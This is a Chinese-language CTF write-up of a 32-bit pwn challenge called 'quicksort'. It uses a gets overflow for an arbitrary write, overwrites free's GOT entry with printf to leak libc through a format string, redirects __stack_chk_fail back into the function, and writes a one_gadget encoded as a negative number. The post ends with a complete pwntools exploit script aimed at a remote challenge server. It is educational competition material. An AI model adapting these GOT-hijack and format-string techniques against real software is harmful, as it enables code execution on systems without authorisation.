略有点脑洞的 Got hijack。

记录一下国际大赛上做出的第一道 pwn 题。

Checksec

root@aa922ef5677a:~/tmp# checksec ./quicksort
[*] '/root/tmp/quicksort'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Analysis

unsigned int func()
{
  char *num; // ebx
  char s; // [esp+Ch] [ebp-2Ch]
  char v3; // [esp+Dh] [ebp-2Bh]
  char v4; // [esp+Eh] [ebp-2Ah]
  char v5; // [esp+Fh] [ebp-29h]
  char v6; // [esp+10h] [ebp-28h]
  char v7; // [esp+11h] [ebp-27h]
  char v8; // [esp+12h] [ebp-26h]
  char v9; // [esp+13h] [ebp-25h]
  char v10; // [esp+14h] [ebp-24h]
  char v11; // [esp+15h] [ebp-23h]
  char v12; // [esp+16h] [ebp-22h]
  char v13; // [esp+17h] [ebp-21h]
  char v14; // [esp+18h] [ebp-20h]
  char v15; // [esp+19h] [ebp-1Fh]
  char v16; // [esp+1Ah] [ebp-1Eh]
  char v17; // [esp+1Bh] [ebp-1Dh]
  int sum; // [esp+1Ch] [ebp-1Ch]
  int i; // [esp+20h] [ebp-18h]
  int j; // [esp+24h] [ebp-14h]
  char *ptr; // [esp+28h] [ebp-10h]
  unsigned int v22; // [esp+2Ch] [ebp-Ch]

  v22 = __readgsdword(0x14u);
  v3 = 0;
  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  v16 = 0;
  v17 = 0;
  s = 0;
  sum = 0;
  puts("how many numbers do you want to sort?");
  __isoc99_scanf("%d", &sum);
  getchar();
  ptr = (char *)malloc(4 * sum);
  for ( i = 0; i < sum; ++i )
  {
    printf("the %dth number:", i + 1);
    gets(&s);
    num = &ptr[4 * i];
    *(_DWORD *)num = atoi(&s);
  }
  quicksort((int)ptr, 0, sum - 1);
  puts("Here is the result:");
  for ( j = 0; j < sum; ++j )
    printf("%d ", *(_DWORD *)&ptr[4 * j]);
  puts(&byte_8048AD2);
  free(ptr);
  return __readgsdword(0x14u) ^ v22;
}

程序要求输入一个数字 sum,然后再输入 sum 个数字,最后对这些数字快排之后得到结果。

这里漏洞很明显是有一个 gets,然而显然做不到直接 rop。在调试一段时间之后,发现了一个任意地址写的地方:

assassinq>> stack 20
0000| 0xffe85300 --> 0xffe8531c --> 0x0
0004| 0xffe85304 --> 0x1
0008| 0xffe85308 --> 0xffe85348 --> 0xffe85358 --> 0x0
0012| 0xffe8530c --> 0x80488c5 (mov    eax,DWORD PTR [ebp-0x1c])
0016| 0xffe85310 --> 0xffe85348 --> 0xffe85358 --> 0x0
0020| 0xffe85314 --> 0xf77b8010 (<_dl_runtime_resolve+16>:    pop    edx)
0024| 0xffe85318 --> 0xf7782864 --> 0x0
0028| 0xffe8531c --> 0x0
0032| 0xffe85320 --> 0x0
0036| 0xffe85324 --> 0x0
0040| 0xffe85328 --> 0x0
0044| 0xffe8532c --> 0x2
0048| 0xffe85330 --> 0x0
0052| 0xffe85334 --> 0x0
0056| 0xffe85338 --> 0x83d0008 --> 0x0
0060| 0xffe8533c --> 0x9838e200
0064| 0xffe85340 --> 0x1
0068| 0xffe85344 --> 0x0
0072| 0xffe85348 --> 0xffe85358 --> 0x0
0076| 0xffe8534c --> 0x80489e4 (mov    eax,0x0)

在读取数字的 gets 这里停下,查看栈的情况。这里的 0x83d0008 是程序中的 ptr,然后程序会将我们输入的字符串 atoi 之后,赋给 ptr 指向的地址。在中间还有一个地址存放剩余循环的次数。我们可以通过缓冲区溢出,一开始的数字为我们想要修改的内容,中间存放剩余循环次数,最后放我们要写的地址,就达到了任意地址写的目的。而 canary 又在下面,不会受到影响。

接下来就需要想办法泄漏,n132 学长提供了一个思路就是改成 printf 之后直接 format string。最后的思路是把 free 改成了 printf,然后泄漏 libc 上的地址。这里要注意的一点就是 atoi 返回的值是 signed int,如果字符串超过了四个字符,那就会返回 0x7fffffff,所以泄漏的时候找了第六个参数,%6$p 就不会超过 signed int

0056| 0xff8348f8 --> 0x804a800 --> 0x7fffffff

free 完之后还需要写 one_gadget,所以这里想办法再跳回到 func。想要绕过 canary 肯定是不可能了,所以前面也利用了一次任意写,把 __stack_chk_fail 改成了 func,这样又能跳回来。

最后写 one_gadget 的时候又遇到了上面 signed int 的问题,这个无法避免了。想到的一个骚思路是用补码,传一个负数进去,就能写上 one_gadget 了。

Exploit

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
context.terminal = ['tmux', 'sp', '-h']
local = 0
if local:
    p = process('./quicksort')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    p = remote('34.92.96.238', 10000)
    libc = ELF('./libc.so.6')
elf = ELF('./quicksort')
g = lambda x: next(elf.search(asm(x)))
gets_plt = elf.plt['gets']
gets_got = elf.got['gets']
puts_plt = elf.plt['puts'] # 0x8048560
puts_got = elf.got['puts'] # 0x804a02c
free_got = elf.got['free'] # 0x804a018
atoi_got = elf.got['atoi']
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
func = 0x08048816
buf = 0x0804a000 + 0x800 # 0x0804b000 - 0x100
stack_chk_fail_got = elf.got['__stack_chk_fail']
#gdb.attach(p, '''
#b *0x80489aa
#''')

def write(addr, val, t):
    payload = str(val)
    payload += (0x10 - len(payload)) * '\x00'
    payload += p32(t)
    payload += (0x1C - len(payload)) * '\x00'
    payload += p32(addr)
    p.recvuntil('number:')
    p.sendline(payload)

def overflow(addr, val, t):
    payload = str(val)
    payload += (0x10 - len(payload)) * '\x00'
    payload += p32(t)
    payload += (0x1C - len(payload)) * '\x00'
    payload += p32(addr) + '\x00' * 4
    p.recvuntil('number:')
    p.sendline(payload)

t = 2
p.recvuntil('sort?\n')
p.sendline(str(t))
write(free_got, printf_plt, 2)
write(stack_chk_fail_got, func, 2)
fmt = '%6$p'
overflow(buf, str(int(fmt[::-1].encode('hex'), 16)), 1)
p.recvuntil('0x')
libc_base = int(p.recv(8), 16) - 0x1b3864
success('libc_base = ' + hex(libc_base))
one_gadget = libc_base + 0x3ac62
success('one_gadget = ' + hex(one_gadget))
one_gadget_complement = -(0x100000000 - one_gadget)
success('one_gadget_complement = ' + hex(one_gadget_complement))

p.recvuntil('sort?\n')
p.sendline(str(t))
overflow(stack_chk_fail_got, one_gadget_complement, 1)
p.interactive()

ctf wp pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

2019-Starctf-blindpwn
Some Linux Category Challenges